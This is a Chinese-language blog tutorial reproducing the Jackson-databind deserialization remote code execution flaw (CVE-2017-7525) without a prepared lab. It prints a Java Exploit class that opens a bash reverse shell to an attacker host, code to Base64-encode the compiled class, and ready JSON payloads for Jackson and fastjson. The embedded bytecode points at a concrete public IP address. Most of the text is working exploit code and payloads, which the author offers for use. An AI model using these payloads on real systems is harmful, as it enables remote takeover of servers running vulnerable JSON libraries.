1. 程式人生 > 實用技巧 >Jackson遠端程式碼執行漏洞復現(不使用vluhub,手寫transletBytecodes欄位)

Jackson遠端程式碼執行漏洞復現(不使用vluhub,手寫transletBytecodes欄位)

今天花了一天的時間復現Jackson遠端程式碼執行漏洞,查詢vulhub可以看到存在CVE-2017-7525的漏洞環境,根據網上的教程,的確可以復現成功。

但是!我發現很多教程都只是復現一遍而已,根本就不知道原理,很明顯的一點就是:他們根本不知道如何修改transletBytecodes的值!

接下來我教你如何修改transletBytecodes的值,把一個目標機器的bash彈到公網上

其實很簡單:

0x0 寫一個Exploit類:

 1 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 2 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
3 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 4 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 5 import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 6 7 import java.io.IOException; 8 9 public class Exploit extends AbstractTranslet {
10 11 12 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { 13 } 14 15 16 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 17 18 } 19 20 public Exploit() throws IOException { 21 try
{ 22 String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/4455 0>&1"}; 23 Process p = Runtime.getRuntime().exec(commands); 24 p.waitFor(); 25 } catch (InterruptedException e) { 26 e.printStackTrace(); 27 } 28 } 29 30 public static void main(String[] args) throws IOException { 31 Exploit helloworld = new Exploit(); 32 } 33 }

注意看其中的第22行,你需要把其中的ip修改成你自己的公網ip,

0x01 在公網上使用nc監聽:

0x02 把Exploit.java編譯成Exploit.class

javac Exploit.java

0x03 執行如下程式碼,把Exploit.class位元組流進行Base64編碼:

 1 import org.apache.commons.codec.binary.Base64;
 2 import org.apache.commons.io.IOUtils;
 3 
 4 import java.io.ByteArrayOutputStream;
 5 import java.io.File;
 6 import java.io.FileInputStream;
 7 import java.io.IOException;
 8 
 9 public class Main {
10     public static void main(String[] args) {
11         ByteArrayOutputStream bos = new ByteArrayOutputStream();
12         try {
13             IOUtils.copy(new FileInputStream(new File("/Users/admin/Exploit.class")), bos);
14         } catch (IOException e) {
15             e.printStackTrace();
16         }
17         String result = Base64.encodeBase64String(bos.toByteArray());
18         System.out.println(result);
19     }
20 }

注意其中的第13行,修改為你自己的Exploit.class所在的路徑

執行結果如下:

yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHkxuZXQvcXV0b3V0aWFvL2V4cC9ldmlsQ2xhc3MxOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKaGVsbG93b3JsZAEAClNvdXJjZUZpbGUBAA9ldmlsQ2xhc3MxLmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDU1IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAHG5ldC9xdXRvdXRpYW8vZXhwL2V2aWxDbGFzczEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAAPABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAUABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABYABAAYABgAGQAgABoAJQAdACgAGwApABwALQAeABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAhAAgAIgASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==

0x04 把得到結果的替換如下的transletBytecodes的欄位內容,執行。

注意其中的第12行,開啟enableDefaultTyping是必須的,只有開啟了,才會識別json字串中的型別,並轉化成對應的型別,如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

 1 package net.qutoutiao;
 2 
 3 import com.fasterxml.jackson.databind.ObjectMapper;
 4 
 5 import java.io.IOException;
 6 
 7 public class Main {
 8     public static void main(String[] args) {
 9         String json = "[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", {\"transletBytecodes\": [\"yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHkxuZXQvcXV0b3V0aWFvL2V4cC9ldmlsQ2xhc3MxOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKaGVsbG93b3JsZAEAClNvdXJjZUZpbGUBAA9ldmlsQ2xhc3MxLmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDU1IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAHG5ldC9xdXRvdXRpYW8vZXhwL2V2aWxDbGFzczEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAAPABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAUABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABYABAAYABgAGQAgABoAJQAdACgAGwApABwALQAeABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAhAAgAIgASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==\"], \"transletName\": \"a.b\", \"outputProperties\": {} }]";
10         try {
11             ObjectMapper objectMapper = new ObjectMapper();
12             objectMapper.enableDefaultTyping();
13             Object o = objectMapper.readValue(json, Object.class);
14             System.out.println(o);
15         } catch (IOException e) {
16             e.printStackTrace();
17         }
18     }
19 }

此時公網vps上已經獲得一個bash!

注意點:此次實驗的成功與否,跟jackson的版本有關,本次實驗使用的是Jackson-databind 2.7.3
經過測試,Jackson-databind 2.9.3復現失敗,會提示prevented for security reasons
據我猜測是TemplatesImpl從某一版本開始,被加入了黑名單。
現在下班了,等我下次有空,我再具體找找看是從哪一個版本開始,TemplatesImpl被加入黑名單

順帶提一下fastjson的遠端命令執行的寫法:

 1 package net.qutoutiao;
 2 
 3 import com.alibaba.fastjson.JSON;
 4 import com.alibaba.fastjson.parser.Feature;
 5 import com.alibaba.fastjson.parser.ParserConfig;
 6 
 7 public class Main {
 8     public static void main(String[] args) {
 9         String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHkxuZXQvcXV0b3V0aWFvL2V4cC9ldmlsQ2xhc3MxOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKaGVsbG93b3JsZAEAClNvdXJjZUZpbGUBAA9ldmlsQ2xhc3MxLmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDU1IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAHG5ldC9xdXRvdXRpYW8vZXhwL2V2aWxDbGFzczEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAAPABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAUABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABYABAAYABgAGQAgABoAJQAdACgAGwApABwALQAeABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAhAAgAIgASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
10         JSON.parseObject(json, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
11     }
12 }